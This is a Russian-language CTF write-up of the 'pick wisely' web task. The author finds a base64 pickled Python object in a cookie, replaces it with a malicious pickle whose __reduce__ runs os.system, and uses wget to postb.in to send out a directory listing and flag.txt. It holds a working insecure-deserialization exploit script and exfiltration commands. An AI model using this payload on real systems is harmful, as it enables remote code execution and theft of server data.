Перейти к основному содержанию
 

CTF web — pick wisely

CTF

Разбираем десятую задачку из нашего соревнования CTF. Задание называется pick wisely, дают 500 баллов за флаг. Для меня она оказалась непростой.

ctf

Есть ссылка на статью:

https://en.wikipedia.org/wiki/Monty_Hall_problem

Она же на русском языке:

https://ru.wikipedia.org/wiki/Парадокс_Монти_Холла

Для решения задачи она нам не пригодится, но для расширения кругозора - очень даже полезно.

Парадокс Монти Холла — одна из известных задач теории вероятностей, решение которой, на первый взгляд, противоречит здравому смыслу. Эта задача не является парадоксом в узком смысле этого слова, так как не содержит в себе противоречия, она называется парадоксом потому, что ее решение может показаться неожиданным. Более того, многим людям бывает сложно принять правильное решение даже после того, как его им рассказал. Почитайте - интересно.

Ссылки

Решение

Переходим на сайт задания.

ctf

Вот здесь как раз и демонстрируется на практике парадокс Монти Холла. Есть подсказка, что в эту игру нельзя выиграть, но я попытался. :) Не выиграл.

После непродолжительных поисков уязвимостей я обнаружил интересную печеньку:

ctf

Некий state представлен в виде base64 строки. Не слишком ли длинно для обычного state?

Гуглим первый попавшийся base64 декодер:

https://www.base64decode.org/

Декодируем строку:

ctf

Получаем нечто такое:

c__main__
State
q)q}q(XscoreqKXdoorsq]q]XZ[‘܂A`\A\B
@[Y\BR–B]Xth†ö€¨—V&bↀö€¨—V&UP7FvW]5و]

Что у нас здесь?

  • __main__
  • State
  • score
  • doors

Ба! Да это кусок кода. Функция Main, класс State, переменные score и doors... Единственное, в непонятном виде этот код. Собственно, засовывать код в куки и надеяться, что никто не попытается этот код заменить своим - очень самонадеянно.

Давайте разберёмся, что это за формат кода такой. Заядлые питонщики уже, наверное, догадались.

Pickle (англ. консервировать, мариновать) — модуль сериализации и десериализации объектов в Питоне для последующей их передачи.

Pickle - очень созвучно с названием задачки. В голову сразу приходит решение - нужно написать свой код, сериализовать его и подсунуть в куки. После чего можно попытаться выполнить этот код на удалённом сервере. Питоним.

#!/usr/bin/python3.5m

import base64
import pickle
import pickletools
import sys
import os

COMMAND = "ls"

class State(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

class Door(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print(base64.b64encode(pickle.dumps(State())))

Последней строкой мы консервируем объект State и выводим в base64. А State у нас призван при инициализации выполнить команду "ls", которая прописана в переменной COMMAND. Это нам, конечно, ничего не даст. Нам нужна такая команда, которая обратится на внешний сервер и там что-то запишет. А мы посмотрим. В качестве внешнего сервера используем сайтик:

https://postb.in/

Туда можно через GET что-то отправить, а потом посмотреть, что приходило. Итак, пишем вместо "ls" более полезную команду:

COMMAND = "wget https://postb.in/qL71wgFu/?x=$(for f in $(ls); do echo -n ${f}_; done)"

Она пихает результат ls в строку и отправляет через GET на сайт postb.in. Сначала я пробовал через curl, но не сработало, пакет curl на удалённом сервере не был установлен.

Итак, сериализуем класс, засовываем в куки сайта, обновляем страничку. Смотрим, что получилось на bostb.in:

ctf

А вот и содержимое директории... и там есть файлик flag.txt. Ну-ка посмотрим внутрь:

#!/usr/bin/python3.5m

import base64
import pickle
import pickletools
import sys
import os

COMMAND = "wget https://postb.in/qL71wgFu/?x=$(cat flag.txt)"

class State(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

class Door(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print(base64.b64encode(pickle.dumps(State())))

Меняем COMMAND на:

COMMAND = "wget https://postb.in/qL71wgFu/?x=$(cat flag.txt)"

Сериализуем, засовываем в кука, обновляем страничку. Что у нас там внутри файла?

ctf

А вот и флаг!

evoctf{math_is_my_friend_i_like_it_but_i_like_coding_too}

Безопасность

  1. Не пихайте код в куки. Как вам пришла в голову такая мысль?

Теги